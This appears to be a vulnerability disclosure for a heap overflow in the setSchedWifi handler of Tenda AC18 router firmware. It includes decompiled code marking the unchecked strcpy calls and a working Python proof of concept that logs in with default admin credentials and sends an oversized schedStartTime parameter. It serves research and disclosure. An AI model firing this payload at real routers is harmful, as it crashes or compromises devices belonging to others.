CPSeek Create setSchedWifi.md History

1 contributor

149 lines (124 sloc) | 3.98 KB

Tenda AC18 heap overflow vulnerability

* Version

V15.03.05.19_multi (ac18_kf_V15.03.05.19(6318_)_cn.bin)

* Firmware

https://www.tenda.com.cn/download/detail-2683.html

* Vulnerability Detail

In function setSchedWifi, the content obtained by the program from the parameter "schedStartTime" and "schedEndTime" are passed to local_24 and local_28, and then the local_24 and local_28 are directly copied into the local_34 heap through the strcpy function. There is no size check, so there is a heap overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

```
void setSchedWifi(undefined4 param_1)

{
  int iVar1;
  undefined uVar2;
```

```
bool bVar3;
char acStack604 [256];
undefined auStack348 [4];
undefined auStack344 [128];
undefined auStack216 [128];
int local_58 [7];
undefined4 local_3c;
undefined4 local_38;
undefined *local_34;
char *local_30;
char *local_2c;
char *local_28;
char *local_24;
char *local_20;
int local_1c;
int local_18;
int local_14;

local_14 = 1;
local_1c = 1;
local_3c = 0;
local_38 = 0;
local_58[0] = 1;
local_58[1] = 1;
local_58[2] = 1;
local_58[3] = 1;
local_58[4] = 1;
local_58[5] = 1;
local_58[6] = 1;
local_20 = (char *)FUN_0002ba8c(param_1,"schedWifiEnable",&DAT_000ee838);
local_24 = (char *)FUN_0002ba8c(param_1,"schedStartTime",&DAT_000ee9a4);
local_28 = (char *)FUN_0002ba8c(param_1,"schedEndTime",&DAT_000ee9a4);
local_2c = (char *)FUN_0002ba8c(param_1,"timeType",&DAT_000ee9c4);
local_30 = (char *)FUN_0002ba8c(param_1,"day","1,1,1,1,1,1,1");
local_18 = 0;
GetValue("wl.public.enable",&local_3c);
if ((char)local_3c == '\0') {
  memcpy(&local_3c,&DAT_000ee838,2);
}
iVar1 = atoi(local_2c);
if (iVar1 != 0) {
  sscanf(local_30,"%d,%d,%d,%d,%d,%d,%d",local_58,local_58 + 1,local_58 + 2,local_
         local_58 + 4,local_58 + 5,local_58 + 6);
}
SetValue("sys.sched.wifi.timeType",local_2c);
local_34 = (undefined *)malloc(0x19);   //memory alloc
local_1c = atoi(local_20);
local_14 = mib2utc(local_24,local_28,local_30,auStack344,auStack216,0x80,0x80);
if ((local_14 == 0) || (local_1c == 0)) {
```

```
    printf("%s\n%s\n",auStack344,auStack216);
    iVar1 = FUN_0008cc9c(auStack344,auStack216);
    if ((iVar1 == 0) || (local_1c == 0)) {
      SetValue("nkgw.wlan.offtime.list1",auStack344);
      SetValue("nkgw.wlan.ontime.list1",auStack216);
      if (local_34 != (undefined *)0x0) {
        iVar1 = atoi((char *)&local_3c);
        bVar3 = iVar1 == 0;
        if (bVar3) {
          iVar1 = 0;
        }
        uVar2 = (undefined)iVar1;
        if (!bVar3) {
          uVar2 = 1;
        }
        *local_34 = uVar2;
        iVar1 = atoi(local_20);
        bVar3 = iVar1 == 0;
        if (bVar3) {
          iVar1 = 0;
        }
        uVar2 = (undefined)iVar1;
        if (!bVar3) {
          uVar2 = 1;
        }
        local_34[1] = uVar2;
        strcpy(local_34 + 2,local_24);  //here is overflow
        strcpy(local_34 + 10,local_28); //here is overflow
        for (local_18 = 0; local_18 < 7; local_18 = local_18 + 1) {
          iVar1 = local_58[local_18];
          bVar3 = iVar1 == 0;
          if (bVar3) {
            iVar1 = 0;
          }
          uVar2 = (undefined)iVar1;
          if (!bVar3) {
            uVar2 = 1;
          }
          local_34[local_18 + 0x12] = uVar2;
        }
        FUN_000368cc(local_34,0);
  ...
}
```

* POC

```python
import requests


cmd  = b'schedWifiEnable=0&schedStartTime=' + b'A' * 8000 + b'&schedEndTime=' + b'A'


url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/openSchedWifi/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()
```